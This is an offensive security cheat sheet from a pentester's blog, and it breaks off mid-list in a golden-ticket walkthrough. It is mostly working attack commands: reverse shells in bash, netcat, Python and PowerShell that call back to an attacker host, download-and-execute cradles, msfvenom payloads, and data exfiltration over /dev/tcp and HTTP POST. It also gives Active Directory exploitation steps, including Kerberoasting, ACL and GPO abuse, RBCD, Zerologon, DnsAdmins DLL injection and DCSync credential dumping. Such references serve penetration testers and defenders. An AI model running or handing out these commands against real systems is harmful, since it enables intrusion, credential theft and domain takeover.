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snovvcrash’s Security Blog

  • TOC {:toc}

Reverse Shells

Bash

$ bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f

Netcat

$ {nc.tradentional|nc|ncat|netcat} <LHOST> <LPORT> {-e|-c} /bin/bash

Python

IPv4

$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);s.close()'
$ python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv("HISTFILE","/dev/null");pty.spawn("/bin/bash");s.close()'

IPv6

$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);s.close()'
$ python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv("HISTFILE","/dev/null");pty.spawn("/bin/bash");s.close()'

PowerShell

Invoke-Expression (UTF-16LE):

  1. github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
$ echo -n "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/[1]')" | iconv -t UTF-16LE | base64 -w0; echo
PS > powershell -NoP -EncodedCommand <BASE64_COMMAND_HERE>

Invoke-WebRequest + nc.exe [1]:

  1. eternallybored.org/misc/netcat/
PS > powershell -NoP IWR -Uri http://127.0.0.1/nc.exe -OutFile C:\Windows\Temp\nc.exe
PS > cmd /c C:\Windows\Temp\nc.exe 127.0.0.1 1337 -e powershell

System.Net.Sockets.TCPClient:

$client = New-Object System.Net.Sockets.TCPClient("10.10.13.37",1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Meterpreter

PowerShell + msfvenom:

$ msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 LHOST=127.0.0.1 LPORT=1337 -f exe > met.exe
PS > (New-Object Net.WebClient).DownloadFile("met.exe", "$env:TEMP\met.exe")
...start metasploit listener...
PS > Start-Process "$env:TEMP\met.exe"

PowerShell + unicorn [1]:

  1. github.com/trustedsec/unicorn
$ ./unicorn.py windows/meterpreter/reverse_https LHOST 443
$ service postgresql start
$ msfconsole -r unicorn.rc
PS > powershell -NoP IEX (New-Object Net.WebClient).DownloadString('powershell_attack.txt')

Listeners

$ {nc.tradentional|nc|ncat|netcat} [-6] -lvnp <LPORT>

pwncat

xc

Upgrade to PTY

$ python -c 'import pty; pty.spawn("/bin/bash")'
Or
$ script -q /dev/null sh

user@remote:$ ^Z
(background)

root@kali:$ stty -a | head -n1 | cut -d ';' -f 2-3 | cut -b2- | sed 's/; /\n/'
(get ROWS and COLS)

root@kali:$ stty raw -echo; fg

(opt) user@remote:$ reset

user@remote:$ stty rows ${ROWS} cols ${COLS}

user@remote:$ export TERM=xterm
(or xterm-color or xterm-256color)

(opt) user@remote:$ exec /bin/bash [-l]

File Transfer

Linux

Windows

Base64

Local file to base64:

Cmd > certutil -encode <FILE_TO_ENCODE> C:\Windows\Temp\encoded.b64
Cmd > type C:\Windows\Temp\encoded.b64

Local string to base64 and POST:

PS > $str = cmd /c net user /domain
PS > $base64str = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
PS > Invoke-RestMethod -Uri http://127.0.0.1/msg -Method POST -Body $base64str

Linux2Linux

/dev/tcp

# Sender:
root@kali:$ tar -zcvf folder.tar.gz folder
root@kali:$ nc -w3 -lvnp 1234 < file.txt
# Recipient:
www-data@victim:$ bash -c 'cat < /dev/tcp/127.0.0.1/1234 > .folder.tar.gz'
www-data@victim:$ tar -zxvf .folder.tar.gz

# Recipient:
root@kali:$ nc -w3 -lvnp 1234 > file.txt
# Sender:
www-data@victim:$ bash -c 'cat < file.txt > /dev/tcp/127.0.0.1/1234'

Linux2Windows

Base64

Full base64 file transfer from Linux to Windows:

$ base64 -w0 tunnel.aspx; echo
...BASE64_CONTENTS...
PS > Add-Content -Encoding UTF8 tunnel.b64 "<BASE64_CONTENTS>" -NoNewLine
PS > $data = Get-Content -Raw tunnel.b64
PS > [IO.File]::WriteAllBytes("C:\inetpub\wwwroot\uploads\tunnel.aspx", [Convert]::FromBase64String($data))

SMB

smbserver.py

SMB server (communicate with Windows [1]):

$ smbserver.py -smb2support files `pwd`
  1. serverfault.com/a/333584/554483

Mount SMB in Windows with net use:

$ smbserver.py -username snovvcrash -password 'Passw0rd!' -smb2support share `pwd`
PS > net use Z: \\10.10.14.16\share
PS > net use Z: \\10.10.14.16\share /u:snovvcrash 'Passw0rd!'

Mount SMB in Windows with New-PSDrive:

$ smbserver.py -username snovvcrash -password 'Passw0rd!' -smb2support share `pwd`
PS > $pass = 'Passw0rd!' | ConvertTo-SecureString -AsPlainText -Force
PS > $cred = New-Object System.Management.Automation.PSCredential('snovvcrash', $pass)
Or
PS > $cred = New-Object System.Management.Automation.PSCredential('snovvcrash', $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force))
PS > New-PSDrive -name Z -root \\10.10.14.16\share -Credential $cred -PSProvider 'filesystem'
PS > cd Z:

net share

Cmd > net share pentest=c:\smb_pentest /GRANT:"Anonymous Logon,FULL" /GRANT:"Everyone,FULL"
Or
Cmd > net share pentest=c:\smb_pentest /GRANT:"Administrator,FULL"
Cmd > net share pentest /delete

FTP

$ python -m pip install pyftpdlib
$ python -m pyftpdlib -Dwp 2121
Cmd > cd C:\Windows\System32\spool\drivers\color
Cmd > echo 'open 127.0.0.1 2121' > ftp.txt
Cmd > echo 'user anonymous' >> ftp.txt
Cmd > echo 'anonymous' >> ftp.txt
Cmd > echo 'binary' >> ftp.txt
Cmd > echo 'put file.bin' >> ftp.txt
Cmd > echo 'bye' >> ftp.txt
Cmd > ftp -v -n -s:ftp.txt

VNC

Decrypt TightVNC password:

$ msdbrun -q
msf > irb
>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
=> "\u0017Rk\u0006#NX\a"
>> require 'rex/proto/rfb'
=> true
>> Rex::Proto::RFB::Cipher.decrypt ["f0f0f0f0f0f0f0f0"].pack('H*'), fixedkey
=> "<DECRYPTED>"

SMB

Mounting

Mount:

$ mount -t cifs '//127.0.0.1/Users' /mnt/smb -v -o user=snovvcrash,[pass='Passw0rd!']

Status:

root@kali:~# mount -v | grep 'type cifs'
root@kali:~# root@kali:~# df -k -F cifs

Unmount:

root@kali:~# umount /mnt/smb

smbclient

Null authentication:

$ smbclient -N -L 127.0.0.1
$ smbclient -N '\\127.0.0.1\Data'

With user creds:

$ smbclient -U snovvcrash '\\127.0.0.1\Users' 'Passw0rd!'

smbmap

Null authentication:

$ smbmap -H 127.0.0.1 -u anonymous -R
$ smbmap -H 127.0.0.1 -u null -p "" -R

NFS

$ showmount -e 127.0.0.1
$ mount -t nfs 127.0.0.1:/home /mnt/nfs -v -o user=snovvcrash,[pass='Passw0rd!']

WSUS

WSUS HTTP (MitM)

Check

PS > reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
      WUServer    REG_SZ    http://WSUS-SRV.megacorp.local:8530

PS > reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer

HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
      UseWUServer    REG_DWORD    0x1

WSUS Local Proxy (LPE)

LDAP

ldapsearch

Basic syntax:

$ ldapsearch -h 127.0.0.1 -x -s <SCOPE> -b <BASE_DN> <QUERY> <FILTER> <FILTER> <FILTER>

Get base naming contexts:

$ ldapsearch -h 127.0.0.1 -x -s base namingcontexts

Extract data for the whole domain catalog and then grep your way through:

$ ldapsearch -h 127.0.0.1 -x -s sub -b "DC=megacorp,DC=local" |tee ldap.out
$ cat ldap.out |grep -i memberof

Or filter out only what you need:

$ ldapsearch -h 127.0.0.1 -x -b "DC=megacorp,DC=local" '(objectClass=User)' sAMAccountName sAMAccountType

Get Remote Management Users group:

$ ldapsearch -h 127.0.0.1 -x -b "DC=megacorp,DC=local" '(memberOf=CN=Remote Management Users,OU=Groups,OU=UK,DC=megacorp,DC=local)' |grep -i memberof

Dump LAPS passwords:

$ ldapsearch -h 127.0.0.1 -x -b "dc=megacorp,dc=local" '(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwd

Simple authentication with ldapsearch:

$ ldapsearch -H ldap://127.0.0.1:389/ -x -D 'CN=username,CN=Users,DC=megacorp,DC=local' -w 'Passw0rd!' -s sub -b 'DC=megacorp,DC=local' |tee ldapsearch.log

Analyze large output for anomalies by searching for unique strings:

$ cat ldapsearch.log | awk '{print $1}' | sort | uniq -c | sort -nr

LDAPPER.py

$ git clone https://github.com/shellster/LDAPPER
$ sudo python3 -m pip install -r requirements.txt

windapsearch

Enumerate all AD Computers:

./windapsearch.py -u 'megacorp.local\snovvcrash' -p 'Passw0rd!' --dc 127.0.0.1 -C

ldapdomaindump

ad-ldap-enum

Nmap NSE

$ nmap -n -Pn --script=ldap-rootdse 127.0.0.1 -p389
$ nmap -n -Pn --script=ldap-search 127.0.0.1 -p389
$ nmap -n -Pn --script=ldap-brute 127.0.0.1 -p389
$ nmap -p 139,445 --script=/usr/share/nmap/scripts/smb-os-discovery --script-args=unsafe=1 127.0.0.1

AD

Roasting

ASREPRoasting

Show domain users with DONT_REQ_PREAUTH flag set:

PowerView3 > Get-DomainUser -UACFilter DONT_REQ_PREAUTH

Normal

GetNPUsers.py
$ GetNPUsers.py megacorp.local/ -dc-ip 127.0.0.1 -no-pass -usersfile /usr/share/seclists/Usernames/Names/names.txt -request -format hashcat -outputfile asprep.in | tee GetNPUsers.log
$ cat GetNPUsers.log | grep -v 'Client not found in Kerberos database'
$ ./hashcat64.exe -m 18200 -a 0 -w 4 -O --session=snovvcrash -o asprep.out asprep.in seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule

Targeted

Given GenericWrite/GenericAll DACL rights over a target, we can modify most of the user’s attributes. We can change a victim’s userAccountControl to not require Kerberos preauthentication, grab the user’s crackable AS-REP, and then change the setting back. (@harmj0y, ref)

PowerView2 > Get-DomainUser snovvcrash | ConvertFrom-UACValue
PowerView2 > Set-DomainObject -Identity snovvcrash -XOR @{useraccountcontrol=4194304} -Verbose
PowerView2 > Get-DomainUser snovvcrash | ConvertFrom-UACValue
ASREPRoast > Get-ASREPHash -Domain megacorp.local -UserName snovvcrash
PowerView2 > Set-DomainObject -Identity snovvcrash -XOR @{useraccountcontrol=4194304} -Verbose
PowerView2 > Get-DomainUser snovvcrash | ConvertFrom-UACValue

Kerberoasting

Check msDS-SupportedEncryptionTypes attribute (if RC4 is enabled):

PowerView3 > Get-DomainUser -Identity snovvcrash -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes

Normal

GetUserSPNs.py
$ GetUserSPNs.py megacorp.local/snovvcrash:'Passw0rd!' -dc-ip 127.0.0.1 [-request|-save]
$ ./hashcat64.exe -m 13100 -a 0 -w 4 -O --session=snovvcrash -o tgsrep.out tgsrep.in seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule

Targeted

We can execute 'normal' Kerberoasting instead: given modification rights on a target, we can change the user’s serviceprincipalname to any SPN we want (even something fake), Kerberoast the service ticket, and then repair the serviceprincipalname value. (@harmj0y, ref)

PowerView2 > Get-DomainUser snovvcrash | Select serviceprincipalname
PowerView2 > Set-DomainObject -Identity snovvcrash -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}
PowerView2 > $User = Get-DomainUser snovvcrash 
PowerView2 > $User | Get-DomainSPNTicket | fl
PowerView2 > $User | Select serviceprincipalname
PowerView2 > Set-DomainObject -Identity snovvcrash -Clear serviceprincipalname

ACL Abuse

Hunt for ACLs

PowerView2

Search for interesting ACLs:

PowerView2 > Invoke-ACLScanner -ResolveGUIDs

Check if the attacker "MEGACORP\sbauer" has GenericWrite permissions on the "jorden" user object:

PowerView2 > Get-ObjectAcl -samAccountName jorden -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericWrite" -and $_.IdentityReference -eq "MEGACORP\sbauer"}

InheritedObjectType   : All
ObjectDN              : CN=Jorden Mclean,OU=Athens,OU=Employees,DC=MEGACORP,DC=LOCAL  <== Victim (jorden)
ObjectType            : All
IdentityReference     : MEGACORP\sbauer  <== Attacker (sbauer)
IsInherited           : False
ActiveDirectoryRights : GenericWrite
PropagationFlags      : None
ObjectFlags           : None
InheritanceFlags      : ContainerInherit
InheritanceType       : All
AccessControlType     : Allow
ObjectSID             : S-1-5-21-3167813660-1240564177-918740779-3110

PowerView3

Search for interesting ACLs:

PowerView3 > Find-InterestingDomainAcl -ResolveGUIDs | ? {$_.IdentityReferenceClass -match "user"}

AceType               : AccessAllowed
ObjectDN              : CN=Jorden Mclean,OU=Athens,OU=Employees,DC=MEGACORP,DC=LOCAL
ActiveDirectoryRights : GenericWrite
OpaqueLength          : 0
ObjectSID             : S-1-5-21-3167813660-1240564177-918740779-3110  <== Victim (jorden)
InheritanceFlags      : ContainerInherit
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-3167813660-1240564177-918740779-3102  <== Attacker (sbauer)
AccessMask            : 131112
AuditFlags            : None
AceFlags              : ContainerInherit
AceQualifier          : AccessAllowed

Check if the attacker "MEGACORP\sbauer" (S-1-5-21-3167813660-1240564177-918740779-3102) has GenericWrite permissions on the "jorden" user object:

PowerView3 > Get-DomainObjectAcl -Identity jorden -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericWrite" -and $_.SecurityIdentifier -eq "S-1-5-21-3167813660-1240564177-918740779-3102"}

Notes:

  • PowerView 3.0 does not return IdentityReference property, which makes it less handy for this task (however, you may filter the output by the attacker's SID).
  • -ResolveGUIDs switch shows ObjectType and InheritedObjectType properties in a human form (not in GUIDs).

Exchange Windows Permissions

Privilege escalation with ACLs in AD by example of the Exchange Windows Permissions domain group.

Add user to the Exchange Windows Permissions group:

PS > Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members snovvcrash

Add DCSync rights with PowerView2:

PowerView2 > Add-ObjectAcl -TargetDistinguishedName "DC=megacorp,DC=local" -PrincipalName snovvcrash -Rights DCSync -Verbose

Add DCSync rights with PowerView3:

PS > $cred = New-Object System.Management.Automation.PSCredential("snovvcrash", $(ConvertTo-SecureString "Passw0rd!" -AsPlainText -Force))
PowerView3 > Add-DomainObjectAcl -TargetIdentity "DC=megacorp,DC=local" -PrincipalIdentity snovvcrash -Credential $cred -Rights DCSync -Verbose

Add DCSync rights with ntlmrelayx.py:

$ sudo ntlmrelayx.py -t ldap://DC01.megacorp.local --escalate-user snovvcrash

Add DCSync rights with aclpwn.py:

$ aclpwn -f snovvcrash -ft user -t megacorp.local -tt domain -d megacorp.local -du neo4j -dp neo4j --server 127.0.0.1 -u snovvcrash -p 'Passw0rd!' -sp 'Passw0rd!'

Add DCSync rights with ActiveDirectory module:

  1. Получить ACL для корневого объекта (домен).
  2. Получить SID для аккаунта, которому нужно дать DCSync.
  3. Создать новый ACL и выставить в нем права "Replicating Directory Changes" (GUID 1131f6ad-...) и "Replicating Directory Changes All" (GUID 1131f6aa-...) для SID из п. 2.
  4. Применить изменения.
PS > Import-Module ActiveDirectory
PS > $acl = Get-Acl "AD:DC=megacorp,DC=local"
PS > $user = Get-ADUser snovvcrash
PS > $sid = New-Object System.Security.Principal.SecurityIdentifier $user.SID
PS > $objectGuid = New-Object guid 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
PS > $identity = [System.Security.Principal.IdentityReference] $sid
PS > $adRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight"
PS > $type = [System.Security.AccessControl.AccessControlType] "Allow"
PS > $inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None"
PS > $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType
PS > $acl.AddAccessRule($ace)
PS > $objectGuid = New-Object Guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
PS > $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType
PS > $acl.AddAccessRule($ace)
PS > Set-Acl -AclObject $acl "AD:DC=megacorp,DC=local"

GPO Abuse

Recon

Show all GPOs in the domain:

PowerView3 > Get-NetGPO -Domain megacorp.local | select cn,displayname

Search for GPOs that are controlled by the "MEGACORP\PolicyAdmins" group:

PowerView3 > Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "MEGACORP\PolicyAdmins"}

List computers that are affected by vulnerable (modifiable) GPO:

PowerView3 > Get-NetOU -GUID "00ff00ff-00ff-00ff-00ff-00ff00ff00ff" | % {Get-NetComputer -ADsPath $_}

Note: if I list all OUs affected by this GPO with PowerView, there will be no domain shown (like in BloodHound), but in Group Policy Manager we can see that it is presented.

Check if computer settings are enabled for this GPO (and enable them if not):

PS > Get-Gpo VULN.GPO.NAME
PS > Set-GpoStatus VULN.GPO.NAME -Status AllSettingsEnabled

Exploit

Create a task with a pwsh payload:

$ echo 'sc -path "c:\\windows\\temp\\poc.txt" -value "GPO Abuse PoC..."' | iconv -t UTF-16LE | base64 -w0; echo
cwBjACAALQBwAGEAdABoACAAIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABlAG0AcABcAHAAbwBjAC4AdAB4AHQAIgAgAC0AdgBhAGwAdQBlACAAIgBHAFAATwAgAEEAYgB1AHMAZQAgAFAAbwBDAC4ALgAuACIACgA=
PS > New-GPOImmediateTask -TaskName Pentest -GPODisplayName VULN.GPO.NAME -CommandArguments '-NoP -NonI -W Hidden -Enc cwBjACAALQBwAGEAdABoACAAIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABlAG0AcABcAHAAbwBjAC4AdAB4AHQAIgAgAC0AdgBhAGwAdQBlACAAIgBHAFAATwAgAEEAYgB1AHMAZQAgAFAAbwBDAC4ALgAuACIACgA=' -Force

Cleanup:

PS > New-GPOImmediateTask -GPODisplayName VULN.GPO.NAME -Remove -Force

Check when GP was last applied:

Cmd > GPRESULT /R

Delegation Abuse

Unconstrained

PowerView3 > Get-DomainComputer -Unconstrained | select dnshostname,samaccountname,useraccountcontrol

Resource-Based Constrained Delegation (RBCD)

RBCD from Windows

Load tools:

PS > IEX(New-Object Net.WebClient).DownloadString("http://10.14.14.37/powermad.ps1")
PS > IEX(New-Object Net.WebClient).DownloadString("http://10.14.14.37/powerview4.ps1")

Check if ms-DS-MachineAccountQuota allows to create new machine accounts:

PS > $root = [ADSI]"LDAP://RootDSE"
PS > $root.rootDomainNamingContext
DC=megacorp,DC=local
PowerView3 > Get-DomainObject -Identity "DC=megacorp,DC=local" | select ms-ds-machineaccountquota

ms-ds-machineaccountquota
-------------------------
                       10

Define credentials for the compromised account with the necessary DACL:

PS > $userWithDaclUsername = 'megacorp.local\snovvcrash'
PS > $userWithDaclPassword = ConvertTo-SecureString 'Qwe123!@#' -AsPlainText -Force
PS > $cred = New-Object System.Management.Automation.PSCredential($userWithDaclUsername, $userWithDaclPassword)

Add new machine account and configure RBCD on the vulnerable host (DC01):

PS > New-MachineAccount -MachineAccount fakemachine1337 -Password $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Verbose
PowerView3 > $computerSID = Get-DomainComputer -Identity fakemachine1337 -Properties ObjectSid -Verbose -Credential $Cred | Select -Expand ObjectSid
PS > $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($computerSID))"
PS > $SDBytes = New-Object byte[] ($SD.BinaryLength)
PS > $SD.GetBinaryForm($SDBytes, 0)
PowerView3 > Get-DomainComputer DC01.megacorp.local -Verbose -Credential $cred | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes} -Verbose -Credential $cred
PS > .\Rubeus.exe hash /domain:megacorp.local /user:fakemachine1337 /password:Passw0rd!
FC525C9683E8FE067095BA2DDC971889

Ask TGS for CIFT and HTTP:

PS > .\Rubeus.exe s4u /domain:megacorp.local /user:fakemachine1337 /rc4:FC525C9683E8FE067095BA2DDC971889 /impersonateuser:DC01$ /msdsspn:CIFS/DC01.megacorp.local /altservice:HTTP /ptt
PS > klist
PS > cd \\DC01.megacorp.local\c$
PS > ls
PS > cd c:\
PS > Enter-PSSession -ComputerName DC01.megacorp.local
PS > exit

Ask TGS for LDAP:

PS > .\Rubeus.exe s4u /domain:megacorp.local /user:fakemachine1337 /rc4:FC525C9683E8FE067095BA2DDC971889 /impersonateuser:DC01$ /msdsspn:LDAP/DC01.megacorp.local /ptt
PS > klist
PS > ...DCSync...

Cleanup:

PowerView3 > Get-DomainComputer DC01.megacorp.local -Verbose -Credential $Cred | Set-DomainObject -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity' -Verbose -Credential $Cred
PowerView 4.0

Configure RBCD on the vulnerable host (DC01):

PowerView4 > Set-DomainRBCD DC01 -DelegateFrom fakemachine1337 -Verbose

Cleanup:

PowerView4 > Set-DomainRBCD DC01 -Clear -Verbose

RBCD from Linux

Add new machine account:

$ addcomputer.py -computer-name 'fakemachine1337' -computer-pass 'Passw0rd!' -dc-ip 10.10.13.37 -dc-host DC02.megacorp.local megacorp.local/snovvcrash:'Qwe123!@#'

Configure RBCD on the vulnerable host:

...rbcd-attack...
Or
...rbcd_permissions...

Ask TGS for LDAP:

$ getST.py -spn ldap/DC01.megacorp.local -impersonate 'DC01' -dc-ip 10.10.13.37 megacorp.local/fakemachine1337:'Passw0rd!'
$ ...DCSync...
rbcd-attack

Configure RBCD on the vulnerable host (DC01):

$ ./rbcd.py -f fakemachine1337 -t DC01 -dc-ip 10.10.13.37 megacorp.local/snovvcrash:'Qwe123!@#'
rbcd_permissions

Configure RBCD on the vulnerable host (DC01) via PtH:

$ ./rbcd.py -t 'CN=dc01,OU=Domain Controllers,DC=megacorp,DC=local' -d megacorp.local -c 'CN=fakemachine1337,CN=Computers,DC=megacorp,DC=local' -u snovvcrash -H 79bfd1ab35c67c19715aea7f06da66ee:79bfd1ab35c67c19715aea7f06da66ee -l 10.10.13.37
Bronze Bit

CVE-2020-17049

PS > Get-KerberosAESKey -Password 'Passw0rd!' -Salt MEGACORP.LOCALfakemachine1337
AES128 Key: 01C7B89A74F7AEC1007DED2F3DE0A815
AES256 Key: 211E8E3134ED797B0A2BF6C36D1A966B3BED2B24E4AAA9ECEED23D0ABF659E98

$ addcomputer.py -computer-name fakemachine1337 -computer-pass 'Passw0rd!' -dc-ip 10.10.13.37 -dc-host DC01.megacorp.local megacorp.local/snovvcrash:'Qwe123!@#'
$ ./rbcd.py -t 'CN=dc01,OU=Domain Controllers,DC=megacorp,DC=local' -d megacorp.local -c 'CN=fakemachine1337,CN=Computers,DC=megacorp,DC=local' -u snovvcrash -H 79bfd1ab35c67c19715aea7f06da66ee:79bfd1ab35c67c19715aea7f06da66ee -l 10.10.13.37
$ getST.py -spn ldap/DC01.megacorp.local -impersonate 'administrator' -dc-ip 10.10.13.37 megacorp.local/fakemachine1337 -hashes :FC525C9683E8FE067095BA2DDC971889 -aesKey 211E8E3134ED797B0A2BF6C36D1A966B3BED2B24E4AAA9ECEED23D0ABF659E98 -force-forwardable
$ secretsdump.py DC01.megacorp.local -just-dc-user 'MEGACORP\krbtgt' -dc-ip 10.10.13.37 -no-pass -k

DHCPv6 + WPAD + NTLM Relay + RBCD

$ sudo /usr/local/bin/ntlmrelayx.py -t ldaps://DC01.megacorp.local --delegate-access --no-smb-server -wh attacker-wpad --no-da --no-acl --no-validate-privs [-debug]
$ sudo mitm6 -i eth0 -d megacorp.local --ignore-nofqdn

User Hunt

Sessions Enum

Derivative Local Admins

PrivExchange

CVE-2019-0686, CVE-2019-0724

Check

$ sudo ./Responder.py -I eth0 -Av
$ python privexchange.py -d MEGACORP -u snovvcrash -p 'Passw0rd!' -ah 10.10.13.37 -ap '/test/test/test' exch01.megacorp.local --debug

Exploit

$ sudo ntlmrelayx.py -t ldap://DC01.megacorp.local --escalate-user snovvcrash
$ python privexchange.py -d MEGACORP -u snovvcrash -p 'Passw0rd!' -ah 10.10.13.37 exch01.megacorp.local --debug

Zerologon

CVE-2020-1472

Check

$ ./zerologon_tester.py DC01 10.10.13.38

Exploit

Exploits above will break the domain! Use this technique by @dirkjanm to abuse Zerologon safely:

$ sudo ntlmrelayx.py -t dcsync://DC01.megacorp.local -smb2support
$ ./dementor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' 10.10.13.37 DC02.megacorp.local

DnsAdmins

Exploit

$ msfvenom -p windows/x64/exec cmd='c:\users\snovvcrash\documents\nc.exe 127.0.0.1 1337 -e powershell' -f dll > inject.dll
PS > dnscmd.exe <HOSTNAME> /Config /ServerLevelPluginDll c:\users\snovvcrash\desktop\i.dll
PS > Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLevelPluginDll
PS > (sc.exe \\<HOSTNAME> stop dns) -and (sc.exe \\<HOSTNAME> start dns)

Cleanup

PS > reg delete HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
PS > (sc.exe \\<HOSTNAME> stop dns) -and (sc.exe \\<HOSTNAME> start dns)

Azure

ADSync

PS > Azure-ADConnect -server 127.0.0.1 -db ADSync

LAPS

Enabled?

Check locally:

PS > gc "c:\program files\LAPS\CSE\Admpwd.dll"
PS > Get-FileHash "c:\program files\LAPS\CSE\Admpwd.dll"
PS > Get-AuthenticodeSignature "c:\program files\LAPS\CSE\Admpwd.dll"

Check in LDAP:

PowerView3 > Get-DomainObject "CN=ms-Mcs-AdmPwd,CN=Schema,CN=Configuration,DC=megacorp,DC=local"
PowerView3 > Get-DomainObject "CN=ms-Mcs-AdmPwdExpirationTime,CN=Schema,CN=Configuration,DC=megacorp,DC=local"

DCSync

Mimikatz

mimikatz # lsadump::dcsync /domain:megacorp.local /user:MEGACORP\krbtgt
mimikatz # lsadump::dcsync /domain:megacorp.local /user:[email protected]

Invoke-DCSync.ps1

PS > Invoke-DCSync -GetComputers -Domain megacorp.local -DomainController DC01.megacorp.local

secretsdump.py

$ secretsdump.py MEGACORP/snovvcrash:'Passw0rd!'@DC01.megacorp.local -dc-ip 10.10.13.37 -just-dc-user 'MEGACORP\krbtgt'
$ secretsdump.py DC01.megacorp.local -dc-ip 10.10.13.37 -just-dc-user 'MEGACORP\krbtgt' -k -no-pass

Attack Trusts

Enum foreign users and groups:

PowerView3 > Get-DomainTrust -Domain megacorp.com
PowerView3 > Get-DomainForeignGroupMember -Domain megacorp.com
PowerView3 > Get-DomainForeignUser -Domain megacorp.com

sIDHistory/ExtraSids Hopping

Use PowerView to enumerate domain trusts:

PowerView2 > Get-NetForestDomain

Forest                  : megacorp.local
DomainControllers       : {DC03.megacorp.local, DC04.megacorp.local}
Children                : {child.megacorp.local}
DomainMode              : Windows2012R2Domain
DomainModeLevel         : 6
Parent                  :
PdcRoleOwner            : DC03.megacorp.local
RidRoleOwner            : DC03.megacorp.local
InfrastructureRoleOwner : DC03.megacorp.local
Name                    : megacorp.local

Forest                  : megacorp.local
DomainControllers       : {DC01.child.megacorp.local, DC02.child.megacorp.local}
Children                : {}
DomainMode              : Windows2012R2Domain
DomainModeLevel         : 6
Parent                  : megacorp.local
PdcRoleOwner            : DC01.child.megacorp.local
RidRoleOwner            : DC01.child.megacorp.local
InfrastructureRoleOwner : DC01.child.megacorp.local
Name                    : child.megacorp.local

PowerView2 > Invoke-MapDomainTrust

SourceDomain         TargetDomain         TrustType   TrustDirection
------------         ------------         ---------   --------------
child.megacorp.local megacorp.local       ParentChild Bidirectional
child.megacorp.local megacorp.com         External    Bidirectional
megacorp.com         child.megacorp.local External    Bidirectional
megacorp.local       child.megacorp.local ParentChild Bidirectional

Exploiting Bidirectional-ParentChild trust between child.megacorp.local <-> megacorp.local...

For creating a cross-trust golden ticket we'll need:

  1. child domain FQDN (child.megacorp.local);
  2. name of the child domain's DC machine account and its RID (DC01$, 31337);
  3. the SID of the child domain (S-1-5-21-4266912945-3985045794-2943778634);
  4. the SID of the parent domain (S-1-5-21-2284550090-1208917427-1204316795);
  5. compomised krbtgt hash from the child domain (00ff00ff00ff00ff00ff00ff00ff00ff);
  6. ???
  7. PROFIT.
1.
PS > $env:userdnsdomain
child.megacorp.local

2.
PowerView2 > Get-NetComputer -FullData DC01.child.megacorp.local | Select ObjectSID
S-1-5-21-4266912945-3985045794-2943778634-31337

3.
PowerView2 > Get-DomainSID
S-1-5-21-4266912945-3985045794-2943778634

4.
